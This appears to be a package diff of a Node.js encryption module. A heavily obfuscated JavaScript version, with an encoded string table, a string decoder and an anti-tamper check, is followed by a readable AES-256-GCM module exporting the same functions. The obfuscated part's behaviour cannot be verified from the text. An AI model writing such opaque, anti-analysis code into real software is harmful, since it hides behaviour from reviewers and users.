51\x4c\x74\x6b\x38\x6f\x6f\x41\x57','\x57\x36\x78\x64\x50\x4e\x74\x63\x48\x38\x6b\x61','\x57\x37\x4e\x63\x50\x62\x78\x64\x53\x38\x6f\x53','\x57\x50\x52\x64\x4b\x53\x6f\x6c\x57\x52\x39\x6a\x57\x34\x65\x43\x57\x4f\x37\x63\x51\x43\x6f\x44','\x45\x68\x68\x64\x4f\x43\x6f\x44\x57\x52\x34','\x6e\x57\x74\x63\x51\x38\x6b\x6a\x57\x50\x79','\x6b\x53\x6f\x37\x57\x51\x5a\x64\x4b\x38\x6b\x65','\x57\x35\x70\x63\x4f\x38\x6f\x5a\x44\x6d\x6f\x36\x57\x51\x43\x74\x57\x51\x43','\x46\x53\x6f\x35\x57\x35\x68\x64\x4c\x78\x56\x63\x4e\x53\x6b\x38\x57\x52\x43','\x75\x57\x30\x6e\x77\x4c\x75','\x57\x35\x64\x63\x48\x61\x52\x64\x4d\x43\x6f\x6a\x57\x36\x35\x66\x57\x35\x53','\x57\x50\x35\x62\x57\x34\x34\x58\x65\x47','\x57\x50\x4c\x67\x75\x43\x6b\x6c\x61\x31\x33\x64\x47\x57','\x57\x50\x71\x5a\x75\x53\x6b\x47\x64\x71','\x57\x36\x31\x57\x57\x51\x4f\x73\x77\x61','\x57\x4f\x6c\x64\x47\x75\x68\x63\x4d\x53\x6b\x69\x57\x52\x65\x2b\x57\x50\x37\x64\x4b\x4a\x6e\x31\x57\x37\x43','\x46\x6d\x6b\x36\x57\x4f\x76\x73\x57\x51\x34','\x57\x35\x69\x4c\x73\x71','\x57\x51\x61\x65\x44\x72\x54\x6f\x57\x34\x53','\x57\x37\x56\x63\x52\x72\x4e\x63\x48\x38\x6f\x4d\x57\x36\x50\x63\x57\x37\x75','\x57\x34\x74\x63\x49\x6d\x6b\x50\x57\x35\x4f\x41\x6c\x6d\x6f\x51\x57\x52\x65','\x57\x36\x30\x53\x73\x76\x50\x44\x57\x52\x62\x4d\x57\x4f\x34','\x57\x35\x5a\x63\x49\x53\x6f\x6a\x57\x50\x4e\x63\x4a\x30\x56\x63\x4b\x57','\x57\x4f\x75\x74\x71\x6d\x6b\x63\x68\x4c\x33\x64\x4c\x47\x4f','\x67\x32\x48\x52\x57\x52\x38','\x57\x52\x30\x4a\x66\x6d\x6f\x42\x43\x49\x34\x46\x72\x43\x6b\x51\x57\x37\x4a\x63\x4a\x43\x6b\x33','\x57\x37\x69\x4c\x73\x76\x4f\x64\x57\x37\x43\x31\x57\x50\x47','\x57\x35\x42\x63\x51\x62\x4c\x75\x63\x71','\x57\x36\x46\x64\x47\x68\x70\x63\x49\x61','\x57\x52\x70\x63\x50\x43\x6f\x33\x57\x51\x4a\x63\x47\x61','\x57\x50\x33\x64\x4c\x6d\x6f\x70\x57\x52\x4f\x65\x57\x51\x76\x79\x57\x51\x4e\x63\x4c\x38\x6f\x31\x45\x53\x6f\x56\x72\x57','\x79\x48\x79\x4b\x62\x77\x57','\x57\x36\x53\x4f\x43\x72\x57\x7a','\x57\x34\x42\x64\x4d\x43\x6b\x64\x57\x34\x52\x63\x53\x71\x31\x33\x71\x72\x79\x34','\x57\x52\x4a\x63\x48\x63\x5a\x64\x4b\x43\x6b\x68\x57\x4f\x38\x6b\x57\x51\x48\x4a\x57\x36\x57','\x57\x37\x52\x64\x4c\x43\x6f\x76\x46\x73\x4a\x64\x56\x43\x6b\x4b\x57\x36\x57','\x6c\x76\x71\x47','\x57\x34\x38\x45\x6f\x59\x47\x45\x57\x36\x62\x42\x74\x57','\x57\x36\x39\x39\x76\x53\x6b\x61\x69\x4d\x57\x51\x72\x71','\x76\x65\x7a\x51\x57\x50\x4a\x64\x4d\x73\x68\x63\x51\x47','\x57\x37\x35\x55\x57\x51\x4b\x2f\x71\x57','\x57\x34\x42\x63\x4f\x48\x48\x39\x6a\x74\x64\x64\x4a\x53\x6f\x79','\x57\x37\x70\x64\x4d\x4c\x33\x63\x47\x38\x6b\x2b','\x77\x43\x6f\x6e\x57\x37\x74\x64\x51\x30\x56\x63\x54\x43\x6b\x6a\x57\x4f\x53','\x57\x34\x4f\x34\x57\x37\x48\x4f\x57\x37\x43','\x57\x4f\x78\x63\x53\x47\x71\x54\x6e\x63\x46\x63\x4c\x43\x6b\x42','\x71\x53\x6b\x35\x57\x52\x2f\x63\x56\x6d\x6f\x4e','\x41\x6d\x6f\x42\x57\x35\x52\x64\x4b\x62\x4a\x64\x4f\x6d\x6b\x64','\x44\x59\x57\x76\x6a\x65\x64\x64\x4d\x71','\x57\x35\x38\x73\x6b\x4a\x69\x79\x57\x37\x4f','\x57\x37\x6d\x68\x57\x34\x70\x64\x56\x38\x6f\x63','\x57\x37\x37\x63\x4c\x4a\x4e\x63\x53\x53\x6f\x4a','\x57\x52\x7a\x72\x71\x32\x62\x6b\x63\x53\x6f\x48\x6e\x57','\x57\x36\x4a\x64\x4c\x53\x6f\x44\x46\x73\x4a\x63\x56\x6d\x6b\x4b\x57\x36\x79','\x57\x50\x65\x72\x45\x71\x54\x69','\x46\x38\x6b\x6f\x6b\x53\x6f\x76\x57\x50\x79','\x57\x36\x68\x63\x51\x49\x35\x35\x68\x71','\x6c\x53\x6f\x4d\x71\x6d\x6b\x41\x57\x51\x58\x32\x57\x50\x66\x65','\x63\x53\x6f\x47\x57\x51\x52\x64\x49\x38\x6b\x67','\x71\x67\x42\x64\x4b\x38\x6f\x51\x57\x52\x38'];_0x3cef=function(){return _0x2b6892;};return _0x3cef();}function _0x2a3a(_0x5d2ba3,_0x2fa5b3){_0x5d2ba3=_0x5d2ba3-(0x47*-0x5d+0x2*-0x1087+0x3bd1);const _0x51b56e=_0x3cef();let _0x41cf61=_0x51b56e[_0x5d2ba3];if(_0x2a3a['\x57\x6b\x79\x53\x43\x63']===undefined){var _0x1656c4=function(_0x58340f){const _0x5bf4c5='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x1a48f5='',_0x1ce647='',_0x863478=_0x1a48f5+_0x1656c4,_0x39bccf=(''+function(){return 0x1d4c+0x1ba+0xf83*-0x2;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(0x1*-0xd8b+-0x4*-0x976+-0x184c);for(let _0x19603a=-0xe2*-0x2b+0xb9b+-0x1*0x3191,_0x489d0e,_0x373aee,_0xb177a2=0x97*0x10+0x5b*0x18+-0x11f8;_0x373aee=_0x58340f['\x63\x68\x61\x72\x41\x74'](_0xb177a2++);~_0x373aee&&(_0x489d0e=_0x19603a%(-0xab1+-0x5c3*-0x3+-0x694)?_0x489d0e*(0x1*0x87e+0x19*-0x61+0x9*0x23)+_0x373aee:_0x373aee,_0x19603a++%(-0x64*-0x4f+0x3*0x99e+-0x3bb2))?_0x1a48f5+=_0x39bccf||_0x863478['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xb177a2+(0x14e7+-0x2c4+0x1219*-0x1))-(0x2357+-0x25a0+0x253)!==-0xe7d*0x1+0x2a*0xc1+-0x1*0x112d?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x1*0x773+0x1385+-0xf*0xbd&_0x489d0e>>(-(0x2*-0xdab+0x1b62*-0x1+0x36ba)*_0x19603a&-0x763+-0xd8c+-0xb9*-0x1d)):_0x19603a:0x6*0x33c+0x2349+-0x36b1){_0x373aee=_0x5bf4c5['\x69\x6e\x64\x65\x78\x4f\x66'](_0x373aee);}for(let _0x5ecdd2=0x21fa+0x1*0x975+0x2b6f*-0x1,_0x2699c7=_0x1a48f5['\x6c\x65\x6e\x67\x74\x68'];_0x5ecdd2<_0x2699c7;_0x5ecdd2++){_0x1ce647+='\x25'+('\x30\x30'+_0x1a48f5['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5ecdd2)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x8*0x255+0xa31*0x2+-0x26fa))['\x73\x6c\x69\x63\x65'](-(-0x7a0+-0x1*-0x23a3+0x43*-0x6b));}return decodeURIComponent(_0x1ce647);};const _0x398993=function(_0x4965d9,_0x20dd02){let _0x241e50=[],_0xc46f6b=0x432*-0x4+-0x154e+-0x96*-0x41,_0x415b10,_0x50aba3='';_0x4965d9=_0x1656c4(_0x4965d9);let _0x9e2090;for(_0x9e2090=0x2335+-0x1*0x1337+-0xffe;_0x9e2090<-0x1b*0x139+-0x1*0x2504+-0x13*-0x3bd;_0x9e2090++){_0x241e50[_0x9e2090]=_0x9e2090;}for(_0x9e2090=-0x1f*-0x8b+-0x9*0x1d5+-0x58;_0x9e2090<0xd*-0x3f+0x1*0x2541+-0x1087*0x2;_0x9e2090++){_0xc46f6b=(_0xc46f6b+_0x241e50[_0x9e2090]+_0x20dd02['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x9e2090%_0x20dd02['\x6c\x65\x6e\x67\x74\x68']))%(-0xbf7+0x2e3*0x7+0x1*-0x73e),_0x415b10=_0x241e50[_0x9e2090],_0x241e50[_0x9e2090]=_0x241e50[_0xc46f6b],_0x241e50[_0xc46f6b]=_0x415b10;}_0x9e2090=0x1f*-0x17+0x2135+0x162*-0x16,_0xc46f6b=-0x1058+-0x5b6+0x160e;for(let _0x5dff87=-0x1*0x10f3+0x339+-0xe*-0xfb;_0x5dff87<_0x4965d9['\x6c\x65\x6e\x67\x74\x68'];_0x5dff87++){_0x9e2090=(_0x9e2090+(0x69*0x2f+0x1c51*-0x1+0x90b))%(0x1*0x1a23+0x93e+-0x2261),_0xc46f6b=(_0xc46f6b+_0x241e50[_0x9e2090])%(0x3*0x739+0x1*0x208d+-0x3538),_0x415b10=_0x241e50[_0x9e2090],_0x241e50[_0x9e2090]=_0x241e50[_0xc46f6b],_0x241e50[_0xc46f6b]=_0x415b10,_0x50aba3+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x4965d9['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5dff87)^_0x241e50[(_0x241e50[_0x9e2090]+_0x241e50[_0xc46f6b])%(-0x1234+0x10*-0x6e+0x1a14*0x1)]);}return _0x50aba3;};_0x2a3a['\x77\x77\x49\x79\x43\x6f']=_0x398993,_0x2a3a['\x50\x6e\x67\x47\x72\x70']={},_0x2a3a['\x57\x6b\x79\x53\x43\x63']=!![];}const _0x2101e7=_0x51b56e[0xedb+0xad6+-0x19b1],_0x3293c9=_0x5d2ba3+_0x2101e7,_0x352e2f=_0x2a3a['\x50\x6e\x67\x47\x72\x70'][_0x3293c9];if(!_0x352e2f){if(_0x2a3a['\x75\x53\x6c\x47\x5a\x41']===undefined){const _0x4d74d5=function(_0x3f752e){this['\x55\x61\x55\x4b\x70\x63']=_0x3f752e,this['\x43\x57\x4c\x49\x42\x58']=[-0x2*0x5de+0x1*-0x1277+0x1*0x1e34,0x2124+0x1*0x16e8+-0x380c,-0x1509+-0x2563+0x3a6c],this['\x74\x64\x62\x72\x77\x4d']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x71\x63\x69\x48\x59\x62']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x73\x6c\x4e\x6f\x67\x71']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x4d74d5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x74\x50\x50\x44\x52\x6e']=function(){const _0x124035=new RegExp(this['\x71\x63\x69\x48\x59\x62']+this['\x73\x6c\x4e\x6f\x67\x71']),_0x419b85=_0x124035['\x74\x65\x73\x74'](this['\x74\x64\x62\x72\x77\x4d']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x43\x57\x4c\x49\x42\x58'][-0x2*0x9b3+-0x52*-0x25+0x78d*0x1]:--this['\x43\x57\x4c\x49\x42\x58'][0x10f9+-0x20f6*0x1+0xffd];return this['\x52\x6c\x6c\x58\x64\x4d'](_0x419b85);},_0x4d74d5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x52\x6c\x6c\x58\x64\x4d']=function(_0x8e9e10){if(!Boolean(~_0x8e9e10))return _0x8e9e10;return this['\x6e\x46\x4b\x48\x49\x68'](this['\x55\x61\x55\x4b\x70\x63']);},_0x4d74d5['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x6e\x46\x4b\x48\x49\x68']=function(_0x1a60f6){for(let _0x5ed320=0x92c+0xcbd+-0x15e9,_0x546bad=this['\x43\x57\x4c\x49\x42\x58']['\x6c\x65\x6e\x67\x74\x68'];_0x5ed320<_0x546bad;_0x5ed320++){this['\x43\x57\x4c\x49\x42\x58']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x546bad=this['\x43\x57\x4c\x49\x42\x58']['\x6c\x65\x6e\x67\x74\x68'];}return _0x1a60f6(this['\x43\x57\x4c\x49\x42\x58'][0x11f1+-0x1*0x1147+-0x5*0x22]);},(''+function(){return 0x1eff+-0x119e+0x5*-0x2ad;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(0x1*0x18e9+-0x1494+-0x454*0x1)&&new _0x4d74d5(_0x2a3a)['\x74\x50\x50\x44\x52\x6e'](),_0x2a3a['\x75\x53\x6c\x47\x5a\x41']=!![];}_0x41cf61=_0x2a3a['\x77\x77\x49\x79\x43\x6f'](_0x41cf61,_0x2fa5b3),_0x2a3a['\x50\x6e\x67\x47\x72\x70'][_0x3293c9]=_0x41cf61;}else _0x41cf61=_0x352e2f;return _0x41cf61;}const _0x47d225={};_0x47d225['\x41\x4c\x47\x4f\x52\x49\x54\x48'+'\x4d']=_0x350264,_0x47d225[_0x3982fd(0x126,'\x72\x2a\x5a\x66')+'\x53']=_0x38e096,_0x47d225[_0x3982fd(0x110,'\x76\x5d\x23\x4a')]=_0x45bb1a,_0x47d225[_0x3982fd(0x107,'\x28\x31\x64\x56')+'\x53']=_0x157af4,_0x47d225[_0x3982fd(0x111,'\x36\x4a\x65\x54')+_0x3982fd(0x181,'\x57\x5a\x5e\x46')]=_0x3918bb,_0x47d225[_0x3982fd(0x167,'\x70\x39\x4d\x76')]=_0x23b244,_0x47d225[_0x3982fd(0x11f,'\x46\x6a\x73\x21')]=_0x578204,_0x47d225[_0x3982fd(0x12b,'\x5b\x70\x21\x43')]=_0xf325f6,_0x47d225['\x75\x6e\x70\x61\x63\x6b']=_0x72791b,module[_0x3982fd(0x122,'\x56\x63\x6c\x67')]=_0x47d225;
|
|
1
|
+
// AES-256-GCM symmetric encryption for sealed / privacy computing blobs.
|
|
2
|
+
// Keys are generated locally and never leave the client.
|
|
3
|
+
|
|
4
|
+
const crypto = require('crypto');
|
|
5
|
+
|
|
6
|
+
const ALGORITHM = 'aes-256-gcm';
|
|
7
|
+
const IV_BYTES = 12;
|
|
8
|
+
const TAG_BYTES = 16;
|
|
9
|
+
const KEY_BYTES = 32;
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Generate a random 256-bit key.
|
|
13
|
+
* @returns {Buffer}
|
|
14
|
+
*/
|
|
15
|
+
function generateKey() {
|
|
16
|
+
return crypto.randomBytes(KEY_BYTES);
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
* Encrypt plaintext with AES-256-GCM.
|
|
21
|
+
* @param {Buffer|string} plaintext
|
|
22
|
+
* @param {Buffer} key - 32-byte key
|
|
23
|
+
* @returns {{ ciphertext: Buffer, iv: Buffer, authTag: Buffer }}
|
|
24
|
+
*/
|
|
25
|
+
function encrypt(plaintext, key) {
|
|
26
|
+
if (!key || key.length !== KEY_BYTES) {
|
|
27
|
+
throw new Error('crypto: key must be exactly 32 bytes');
|
|
28
|
+
}
|
|
29
|
+
const iv = crypto.randomBytes(IV_BYTES);
|
|
30
|
+
const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
|
|
31
|
+
const input = Buffer.isBuffer(plaintext) ? plaintext : Buffer.from(plaintext, 'utf8');
|
|
32
|
+
const encrypted = Buffer.concat([cipher.update(input), cipher.final()]);
|
|
33
|
+
const authTag = cipher.getAuthTag();
|
|
34
|
+
return { ciphertext: encrypted, iv, authTag };
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* Decrypt ciphertext with AES-256-GCM.
|
|
39
|
+
* @param {Buffer} ciphertext
|
|
40
|
+
* @param {Buffer} key - 32-byte key
|
|
41
|
+
* @param {Buffer} iv - 12-byte IV
|
|
42
|
+
* @param {Buffer} authTag - 16-byte auth tag
|
|
43
|
+
* @returns {Buffer} plaintext
|
|
44
|
+
*/
|
|
45
|
+
function decrypt(ciphertext, key, iv, authTag) {
|
|
46
|
+
if (!key || key.length !== KEY_BYTES) {
|
|
47
|
+
throw new Error('crypto: key must be exactly 32 bytes');
|
|
48
|
+
}
|
|
49
|
+
const decipher = crypto.createDecipheriv(ALGORITHM, key, iv);
|
|
50
|
+
decipher.setAuthTag(authTag);
|
|
51
|
+
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
/**
|
|
55
|
+
* Pack ciphertext + iv + authTag into a single buffer for transport.
|
|
56
|
+
* Layout: [iv (12)] [authTag (16)] [ciphertext (...)]
|
|
57
|
+
* @param {{ ciphertext: Buffer, iv: Buffer, authTag: Buffer }} parts
|
|
58
|
+
* @returns {Buffer}
|
|
59
|
+
*/
|
|
60
|
+
function pack(parts) {
|
|
61
|
+
return Buffer.concat([parts.iv, parts.authTag, parts.ciphertext]);
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* Unpack a buffer produced by pack().
|
|
66
|
+
* @param {Buffer} packed
|
|
67
|
+
* @returns {{ ciphertext: Buffer, iv: Buffer, authTag: Buffer }}
|
|
68
|
+
*/
|
|
69
|
+
function unpack(packed) {
|
|
70
|
+
if (!Buffer.isBuffer(packed) || packed.length < IV_BYTES + TAG_BYTES + 1) {
|
|
71
|
+
throw new Error('crypto: packed buffer too short');
|
|
72
|
+
}
|
|
73
|
+
const iv = packed.subarray(0, IV_BYTES);
|
|
74
|
+
const authTag = packed.subarray(IV_BYTES, IV_BYTES + TAG_BYTES);
|
|
75
|
+
const ciphertext = packed.subarray(IV_BYTES + TAG_BYTES);
|
|
76
|
+
return { ciphertext, iv, authTag };
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
module.exports = {
|
|
80
|
+
ALGORITHM,
|
|
81
|
+
KEY_BYTES,
|
|
82
|
+
IV_BYTES,
|
|
83
|
+
TAG_BYTES,
|
|
84
|
+
generateKey,
|
|
85
|
+
encrypt,
|
|
86
|
+
decrypt,
|
|
87
|
+
pack,
|
|
88
|
+
unpack,
|
|
89
|
+
};
|